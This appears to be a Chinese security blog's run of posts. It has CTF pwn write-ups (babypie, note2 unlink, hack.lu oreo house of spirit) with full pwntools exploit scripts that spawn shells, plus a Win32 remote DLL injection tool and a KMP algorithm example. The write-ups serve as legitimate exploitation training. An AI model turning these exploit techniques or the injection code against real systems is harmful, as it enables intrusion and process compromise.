eqqie 发布的文章

遇到栈相关的题如果打开了pie和canary是挺麻烦的,但是如果合理的利用栈泄露和部分字节覆写还是可以达到一定程度的程序流控制

示例题目: 安恒杯 2018 .07月赛 babypie

Arch: amd64-64-little RELRO:

Partial RELRO

Stack: Canary

found NX: NX enabled

PIE: PIE enabled

开了pie和canary

0x00 IDA中分析

栈溢出发生的位置

__int64 vul()
{
  __int64 buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);             // 无缓冲
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  puts("Input your Name:");
  read(0, &buf, 0x30uLL);
  printf("Hello %s:\n", &buf);                  // 明显的溢出
                                                // 
  read(0, &buf, 0x60uLL);
  return 0LL;
}

溢出发生了两次,每次溢出可控制的字节不同。同时read不设置截断符\x00,而canary为了防止被泄露,最低位字节固定为0x00,那么可以额外读取一个字节覆盖canary的最低字节,达到泄露目的。

后门函数

int backdoor()
{
  return system("/bin/sh");
}

这个函数的偏移是 $rebase(A3E),而gdb里面动态调试发现vul函数执行完后的返回地址的偏移是 $rebase(A6A),由这里应该得到启发:实际上pie只是将地址高位进行了随机化,如果想办法修改低位,是有可能在一定限度内控制执行流的。

0x01 exp

思路

大致利用思路已经很明了了:

  • 第一次溢出用sendline把canary最后一个字节覆盖为换行符\x0a,然后从输出中读到canary+0xa,减去0xa得到canary。
  • 第二次溢出运用上一步的canary覆盖canary所在的栈上位置并继续向后溢出,覆盖return地址低两位字节。
  • 由于return地址低两位字节中有4 bits是无法控制的,也就是是随机的,好在范围不大,随便填一个靠点运气就能getshell~

完整exp

#!/usr/bin/python3

from pwn import *

p=process("./babypie")
elf=ELF("./babypie")
libc=ELF("./libc.so.6")

context.log_level="debug"

#Step1 leak canary & ret_addr
p.recvuntil(b"Name:")
payload1=b"a"*36+b"bbbb"
p.sendline(payload1)
p.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
p.recvuntil(b":\n")
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
p.send(payload2)

p.interactive()

0x02 总结

partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

没想到入坑WIN32居然是从这个地方,由于对WIN32不太了解,所以摸索起来比较困难。sad师傅推荐了《windows核心编程》这本书,个人感觉还是挺好的,就是得耐下心多读读才能领会。

0x00 Win下进程的内存结构

程序在运行时会把自身的二进制文件加入到内存中,其中相关的函数、变量等都会在内存中对应固定的地址。但是程序功能一般不会仅靠单独一个二进制文件实现,有时还需要调用系统提供的API来进行一些操作。而这通常是靠引用预先集成了许多函数的DLL(动态链接库)文件,并调用其中的函数来实现。由于DLL不包含在程序的二进制文件中,所以需要在运行的时候由操作系统加入到进程的内存空间中。

那么如果我们能够编写一个工具,实现将我们自己编写的DLL注入到另一个不同的进程的内存空间中,就相当于有了间接控制这个进程的能力。(在此处只讨论如何注入)

0x01 几个要用到的win32 API

进程相关

  • OpenProcess 获得要注入进程的句柄
  • VirtualAllocEx在远程进程中开辟出一段内存
  • WriteProcessMemory将Dll的名字写入第二步开辟出的内存中
  • CreateRemoteThreadLoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
  • CloseHandle关闭线程句柄

权限相关

  • OpenProcessToken打开进程令牌
  • LookupPrivilegeValue
  • AdjustTokenPrivileges

具体参数可以百度或者谷歌搜索,也可以参考sad师傅的博客关于这些API的介绍:

https://www.jianshu.com/p/044931d7e4d6

0x02 思路

  1. 提升进程权限(非必须)
  2. 利用进程PID获得目标进程的句柄
  3. 在目标进程中开辟出一段内存写入需要调用的DLL的路径(因为后续步骤加载DLL时所用的参数需要在同一内存空间中)
  4. 获得 LoadLibraryA 在目标进程中的地址(通常在所有进程中是一样的),利用 LoadLibraryA 作为线程函数,DLL路径地址作为参数,在目标进程中创建一个线程用来加载DLL
  5. 完成注入后关闭相关句柄

0x03 代码实现

进程提权

int EnableDebugPriv(const char* name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    //GetCurrentProcess()获取当前进程句柄
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL, (LPCWSTR)name, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    int ret = AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    return ret;
}

DLL注入

int remoteInjection(const DWORD PID) {
    HANDLE hRemoteProcess;
    HANDLE hRemoteThread;
    char* pszLibFileRemote;

    printf("DEFAULT DLL PATH: %s\n", DLLname);

    if (!EnableDebugPriv((const char*)SE_DEBUG_NAME)) {
        cout << "* FAIL TO: Get SEDEBUG privilege" << endl;
        return 0;
    }
    else {
        cout << "* SUCCESS TO: Get SEDEBUG privilege" << endl;
    }
/*拿到目标进程句柄*/
    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hRemoteProcess) {
        cout << "* SUCCESS TO: Open process" << endl;
        cout << "Got Handle: " << hRemoteProcess << endl;
    }
    else {
        cout << "* FAIL TO: Open process" << endl;
        return 0;
    }
/*开辟一段内存*/
    pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, strlen(DLLname) + 10, MEM_COMMIT, PAGE_READWRITE);
    if (pszLibFileRemote) {
        cout << "* SUCCESS TO: Allocate remote memory space" << endl;
        printf("Remote addr: 0x%p\n", (long long)pszLibFileRemote);
    }
    else {
        cout << "* FAIL TO: Allocate remote memory space" << endl;
        return 0;
    }
/*写入DLL路径到目标进程*/
    if (WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DLLname, strlen(DLLname) + 10, NULL)) {
        cout << "* SUCCESS TO: Write memory" << endl;
    }
    else {
        cout << "* FAIL TO: Write memory" << endl;
        return 0;
    }
    //PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)LoadLibraryA;
/*获得LoadLibraryA函数的地址*/
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL) {
        cout << "* FAIL TO: Get LoadLibraryA() addr" << endl;
        return 0;
    }
    else
    {
        cout << "* SUCCESS TO: Get LoadLibraryA() addr" << endl;
        printf("LoadLibraryA addr: 0x%p\n", (long long)pfnStartAddr);
    }
/*在目标进程中创建线程加载DLL*/
    hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    //在这一步注入了自己创建的DLL
    if (hRemoteThread) {
        cout << "* SUCCESS TO: Create remote thread" << endl;
    }
    else {
        cout << "* FILE TO: Create remote thread" << endl;
        return 0;
    }
/*等待线程结束*/
    WaitForSingleObject(hRemoteThread, INFINITE);
/*关闭句柄*/
    CloseHandle(hRemoteProcess);
    CloseHandle(hRemoteThread);
    return 1;
}

完整项目源码

github: https://github.com/yikesoftware/Remote_DLL_Injection

本项目在vs2019下编写

项目提供了:

  • 用于注入的程序源码
  • 带有注入成功弹窗提示的测试用DLL源码
  • 被注入的测试程序源码

注意

部分受保护进程可能会出现注入失败

算是unlink的一道经典题目,借助这道题来整理一下Unlink任意写的基本使用方法与注意事项。exp参照官方wp做了调整。

这里不对题目本身做太多逆向分析,下面是下载链接,包含了题目和exp:
点击下载

0x00 Unlink的原理

unlink的过程

Unlink顾名思义就是把元素从链表取出的一种操作,这种操作常常发生在malloc和执行free后内存块合并的过程。这是unlink的流程图:

可以简单归结为FD->bk = fd , BK->fd = bk ,也就是指针值的传递。

向低地址合并

这里着重讨论见得较多的情况:向前合并。

如果被free的是一个非fastbin大小的内存块,将会优先从内存低地址区域寻找空闲部分进行合并(尔后再尝试向高地址合并)。向低地址合并前,被合并的块(位于高地址)需要经过一些检查,这些检查也是我们构造exp时要注意绕过的地方:

检查目标检查条件报错信息
size vs prev_sizechunksize(P) != prev_size (next_chunk(P))corrupted size vs. prev_size
Fd, bk 双向链表检查FD->bk != P || BK->fd != Pcorrupted double-linked list
nextsize 双向链表P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != Pcorrupted double-linked list (not small)

主要关注前两项,也就是内存块大小检查双链表完整性检查

  • 内存块大小的检查是通过读取被检查内存块的nextchunk的prevsize与自身size作比较,而“prevsize”(不一定是真的prevsize)的位置又是由size决定。于是我们就可以在原有的chunk中利用可写的部分伪造出一个fake_chunk,在这个chunk的末尾pad上一个fake_prevsize,从而绕过了对被合并内存块的大小检查。
  • 双向链表的完整性检查其实通俗而言就是检查:上一个节点的下一个节点是不是自己,下一个节点的上一个节点是不是自己。这个检查通过对前后节点bk,fd域和自身起始地址的比较实现。意味着,只要找到静态数据区域中记录了本区块地址的位置addr,构造 p->fd = addr-0x18 和 p->bk = addr-0x10就可以绕过该检查

关于为什么要unlink

这是glibc实现向前合并的部分代码:

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

其实我不能从linux开发者的角度而言完整的解释unlink存在的必要性。但是通过对bins特性的分析可以知道,通常bins中链接的是大小相同的chunk,当合并动作发生,改变了原有chunk的大小,就需要脱出原先的bins(unlink),加入unsortedbin中,减少内存中的碎片。需要注意的是,如果向前合并后发现向后可以直接合并进入top chunk那么将会整个进入top chunk,调试的时候要留心一下。

0x01 题目分析

首先要想构造fakechunk起码得找个能堆溢出的地方,一开始检查了好几遍输入函数都没发现整数溢出(还是题见得少)。

unsigned __int64 __fastcall get_input(__int64 ptr, __int64 len, char EOF)
{
  char endchar; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t num; // [rsp+38h] [rbp-8h]

  endchar = EOF;
  for ( i = 0LL; len - 1 > i; ++i )             // i是无符号的,在做比较的时候会化为无符号比较,若len为0,则len-1为0xFFFFFFFFFFFFFFFF,导致条件永真,堆溢出
  {
    num = read(0, &buf, 1uLL);
    if ( num <= 0 )
      exit(-1);
    if ( buf == endchar )
      break;
    *(_BYTE *)(i + ptr) = buf;
  }
  *(_BYTE *)(ptr + i) = 0;
  return i;
}

这个函数中,for循环的 i 是无符号整数,在与len-1作比较时会先将len-1也转化为无符号类型,这时候如果len传入1,len-1将变成0xFFFFFFFFFFFFFFFF,使得表达式恒成立,可以不加限制地进行输入,导致了堆块的溢出。

该程序会将申请到的堆块指针和申请的大小保存在全局变量区,修改这部分内容可能可以利用程序自身的edit功能进行任意写。

顺带一提,程序关闭了GOT表保护,这提示了我们可以通过改写got表来getshell。

0x02 exp思路

这题的堆块创建次数最多4次,所以不太方便用fastbin attack进行任意写,于是尝试unlink。

构造任意写到全局变量

chunk[0] 首先需要一个容纳fakechunk的内存块,我们设想的fakechunk只需要包含一个fastchunk + 一个fake_prevsize域就够了。同时要留意,我们后面的步骤可能要借助edit功能写某些地址,所以申请的size可以大一些,不然可能到时可写的字节数不够。经过计算,申请0x40获得一个0x50的块是最划算的大小。

chunk[1] 其次需要利用整数溢出,申请大小为“0”的块达到无限制输入。但是由于堆的分配机制,会给用户分配0x20大小的堆块。

chunk[2] 最后需要一个0x90(申请0x80)的small chunk,这样释放之后才能触发向前合并从而触发unlink

按照上文在chunk[0]中将fakechunk的fd和bk设置为:&chunk[0]-0x18,&chunk[0]-0x10,并利用溢出修改chunk[2]的prevsize和prev_inuse域。此时free掉chunk[2]便可以触发unlink,使得原来存放 &chunk[0] 的地址存放了 &chunk[0]-0x18 。

只要用edit功能从chunk[0]-0x18开始往后写并覆盖chunk[0]为strlen@got的地址,再show chunk[0]就可以泄露libc拿到system地址。

同样的方法修改strlen@got的值为system地址,这时只要出现了strlen("/bin/sh\x00"); 就相当于执行了"system("/bin/sh\x00")"

exp

#!/usr/bin/python3

from pwn import *

p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")

context.log_level="debug"

strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]

def new(content,length:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"1")
    p.recvuntil(b"Input the length of the note content:(less than 128)\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"Input the note content:\n")
    p.sendline(content)
    pass
    
def show(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"2")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def edit(idx:int,mode:int,content):
    p.recvuntil(b'option--->>')
    p.sendline(b"3")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)
    pass

def delete(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"4")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def exp():
    name=b"aaaa"
    address=b"bbbb"
    p.recvuntil(b"Input your name:\n")
    p.sendline(name)
    p.recvuntil(b"Input your address:\n")
    p.sendline(address)
    
    #1 unlink
    list_head = 0x602120
    fake_fd = list_head-0x18
    fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
    #payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
    
    payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
    new(payload1,0x40) #idx0
    new(b"b"*0x8,0) #idx1
    new(b"c"*0x10,0x80) #idx2
    
    delete(1) # del idx1
    payload2=b"b"*0x10+p64(0x60)+p64(0x90)
    new(payload2,0) #idx3
    delete(2)
    
    #2 rewrite&leak
    payload3=b"d"*0x18+p64(strlen_got)
    edit(0,1,payload3)
    show(0)
    #gdb.attach(p)
    p.recvuntil(b"Content is ")
    strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
    print("strlen@got: ",hex(strlen_got))
    print("strlen: ",hex(strlen))
    print("system: ",hex(system))
    
    #3 edit strlen@got to system
    payload4=p64(system)
    edit(0,1,payload4)
    edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
    
    #getshell
    p.interactive()
    
    
if __name__=="__main__":
    exp()

方法思路不唯一,欢迎补充。

算是一个比较简单的算法吧,主要思想就是空间换时间。挺早之前在知乎上看到一篇文章写的不错,看懂了个大概,但是还没写过。于是趁有时间(偷懒)写了个简单的例子,备忘。

https://www.zhihu.com/question/21923021/answer/1032665486

算法图示

预处理模式串,计算失配后的会退位置

code

#include<cstdio>
#include<cstring>
#include<iostream>

#define MANLEN 1024

char txt[MANLEN];
char pat[MANLEN];
int next[MANLEN];

void Getnext(const char *raw){
    int len = strlen(raw);
    int x = 1; //遍历pattern串与now作比较
    int now = 0; //永远指向当前最长前缀的下一位
    next[0] = 0; 
    while(x<len){
        if( raw[x] == raw[now]){
            now++;
            next[x++]=now;
        }
        else
            if(now)
                now=next[now-1];
            else{
                next[x]=0;
                x++;
            }
    }
    puts("next: ");
    for(int i=0;i<len;i++)
        printf("%d ",next[i]);
    puts("\n-----------");
}

void KMP(const char *txt,const char *pat){
    int N=strlen(txt);
    int M=strlen(pat);
    printf("txt_len:%d  pat_len:%d\n",N,M);
    for(int i=0,j=0;i<N;i++){ //在这个算法中,一定不会出现重复比较
        if(txt[i]==pat[j]){
            j++;
            if(j==M){ //发现完配串,输出位置(主串绝对位置-模式串偏移)
                printf("index: %d\n",i+1-j);
                j=0;
            }
        }
        else
            j=next[j]; //失配时把j移到最长重复前缀的下一位
    }
}

int main(int argc,char *argv[]){
    puts("txt:");
    scanf("%s",txt);
    puts("pat:");
    scanf("%s",pat);
    Getnext(pat);
    KMP(txt,pat);
    return 0;
}

如果有漏洞或者什么值得优化的地方欢迎指正!

题目很巧妙,而且很容易忽略一些细节导致掉进坑里出不来。本人在写的时候就遭遇了一些百思不得解的问题,而后通过慢慢的调试推演找到了问题所在地。在博客里?一下,防止以后再犯。

参考资料: https://wiki.x10sec.org/pwn/heap/fastbin_attack/

题目概况

题目名:2014_hack.lu_oreo

防护措施:

$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

RELRO是关的,说明很可能需要进行覆盖got表的操作。(常规套路lol)

代码审计

在IDA中逆向分析该程序的功能功能构成以及可能被利用的位置。

该程序是一个模拟线上枪支交易系统,可以新建枪支信息(name,description)以及提出Order,还可以写一段 message,以及查看 added rifles 和 state。看起来挺繁杂的,需要慢慢理清相互之间的关系。

相关函数信息:

1. Add new rifle

unsigned int add_new()
{
  char *prev_chunk; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  prev_chunk = curr_chunk_ptr;
  curr_chunk_ptr = (char *)malloc(56u);
  if ( curr_chunk_ptr )
  {
    *((_DWORD *)curr_chunk_ptr + 13) = prev_chunk;// 最后四个字节保存上次申请的chunk的指针
    printf("Rifle name: ");
    fgets(curr_chunk_ptr + 25, 56, stdin);
    line_end_check(curr_chunk_ptr + 25);
    printf("Rifle description: ");
    fgets(curr_chunk_ptr, 56, stdin);
    line_end_check(curr_chunk_ptr);
    ++Rifle_count;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

2. Show added rifles

unsigned int show_added()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = curr_chunk_ptr; i; i = (char *)*((_DWORD *)i + 13) )// 从最后一条记录开始向前遍历,知道prev_chunk_ptr为0,也就是遍历到第一条记录为止
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

3. Order selected rifles

unsigned int order_selected()
{
  char *ptr; // ST18_4
  char *temp; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  temp = curr_chunk_ptr;
  if ( Rifle_count )
  {
    while ( temp )
    {
      ptr = temp;
      temp = (char *)*((_DWORD *)temp + 13);    // 递归取得prev_chunk的指针并将curr_chunk释放掉
      free(ptr);
    }
    curr_chunk_ptr = 0;
    ++Order_count;                              // order总数增加
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

4. Leave a Message with your Order

unsigned int message()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(message_ptr, 128, stdin);
  line_end_check(message_ptr);
  return __readgsdword(0x14u) ^ v0;
}

5. Show current stats

unsigned int show_state()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", Rifle_count);
  printf("Orders: %u times\n", Order_count);
  if ( *message_ptr )
    printf("Order Message: %s\n", message_ptr);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

6. menu

unsigned int menu()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("What would you like to do?\n");
  printf("%u. Add new rifle\n", 1);
  printf("%u. Show added rifles\n", 2);
  printf("%u. Order selected rifles\n", 3);
  printf("%u. Leave a Message with your Order\n", 4);
  printf("%u. Show current stats\n", 5);
  printf("%u. Exit!\n", 6);
  while ( 1 )
  {
    switch ( get_choice() )
    {
      case 1:
        add_new();
        break;
      case 2:
        show_added();
        break;
      case 3:
        order_selected();
        break;
      case 4:
        leave_message();
        break;
      case 5:
        show_state();
        break;
      case 6:
        return __readgsdword(0x14u) ^ v1;
      default:
        continue;
    }
  }
}

一条new rifle的记录结构如下:

00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript        db 25 dup(?)
00000019 name            db 27 dup(?)
00000034 next            dd ?                    ; offset
00000038 rifle           ends

在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。

观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。

同时我们发现bss段的结构如下:

.bss:0804A288 curr_chunk_ptr  dd ?                    
.bss:0804A288                                         
.bss:0804A28C                 align 20h
.bss:0804A2A0 Order_count     dd ?                    
.bss:0804A2A0                                         
.bss:0804A2A4 Rifle_count     dd ?                   add_new+C5↑r
.bss:0804A2A4                                         
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr     dd ?                    
.bss:0804A2A8                                         
.bss:0804A2AC                 align 20h
.bss:0804A2C0 message_area    db    ? ;               
.bss:0804A2C1                 db    ? ;
.bss:0804A2C2                 db    ? ;
.bss:0804A2C3                 db    ? ;
.bss:0804A2C4                 db    ? ;
.bss:0804A2C5                 db    ? ;
.bss:0804A2C6                 db    ? ;
.bss:0804A2C7                 db    ? ;
.bss:0804A2C8                 db    ? ;
.bss:0804A2C9                 db    ? ;
.bss:0804A2CA                 db    ? ;
.bss:0804A2CB                 db    ? ;
.bss:0804A2CC                 db    ? ;
.bss:0804A2CD                 db    ? ;
.bss:0804A2CE                 db    ? ;
.bss:0804A2CF                 db    ? ;
......

Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写

由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。

确定exp思路

  1. (泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
  2. (构造fakechunk)
    2-1. 前面提到把 Order_count 和 Rifle_count 伪造成chunk头,那么根据题目中固定chunk的大小0x38可以确定,被伪造出来的chunk应该属于0x40的fastbin,所以要通过不断add把 Rifle_count 的值增加到0x40,但是要注意的是最后一条记录需要单独构造next指针域,因为之后通过free把fakechunk放进fastbin时需要通过这个next指针指向fakechunk,这样在free时就可以形成只含两个chunk的fastbin,便于再次malloc时获取到我们构造的fake chunk。

    2-2. 注意除了构造fakechunk,还要构造一个符合规则的next_size以及需要把fakechunk的next指针域设置为0,避免在free时发生莫名其妙的错误(由于这里被我忽略了,构造next_size时直接通过padding char的方式,导致了fakechunk的next指针域没有清零,卡了老半天)。

  3. (覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
  4. (getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上";/bin/sh\x00"(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !

完整exp

在python3-pwntool下编写,直接搬到py2注意bytes问题。
系统版本:Ubuntu 16.04 (glibc-2.23)

#!/usr/bin/python3
from pwn import *

p=process("./oreo")
elf=ELF("./oreo")
libc=ELF("./libc.so.6")

strlen_got=elf.got[b"strlen"]
log.success("strlen_got: %s"% hex(strlen_got))
puts_got=elf.got[b"puts"]
log.success("puts_got: %s"% hex(puts_got))
fake_chunk=0x0804A2A8
log.success("fake_chunk: %s"% hex(fake_chunk))

#context.log_level="debug"

def add(name,desc):
    p.sendline(b"1")
    p.sendline(name)
    p.sendline(desc)
    
def show_rifle():
    p.sendline(b"2")
    
def order():
    p.sendline(b"3")
    
def message(content):
    p.sendline(b"4")
    p.sendline(content)
    
def state():
    p.sendline(b"5")
    
    
def exp():
    print("==============exp start===============")
    
    print("***Leak glibc***")
    add(b"A"*27+p32(puts_got),b"a"*24)
    show_rifle()
    p.recvuntil(b"Description: ")
    p.recvuntil(b"Description: ")
    puts_addr=u32(p.recv(4))
    system_addr=libc.symbols[b"system"]-libc.symbols[b"puts"]+puts_addr
    binsh_addr=next(libc.search(b"/bin/sh"))-libc.symbols[b"puts"]+puts_addr
    log.success("puts_addr: %s"% hex(puts_addr))
    log.success("system_addr: %s"% hex(system_addr))
    log.success("binsh_addr: %s"% hex(binsh_addr))
    print("****************")
    
    for i in range(0x40-2):
        add(str(i+2).encode(),b"padding")
    add(b"A"*27+p32(fake_chunk),b"BBBBBBBB")

    message(b"C"*(0x0804A2A8+0x38+0x4-0x0804A2C0-0x8)+b"\x00"*8+p32(0x11))
    order()
    add(b"DDDD",p32(strlen_got))
    #gdb.attach(p)

    message(p32(system_addr)+b";/bin/sh\x00")
    #gdb.attach(p)
    print("==============exp end=================")
    p.interactive()
if __name__=="__main__":
    exp()

谢谢支持,欢迎指正!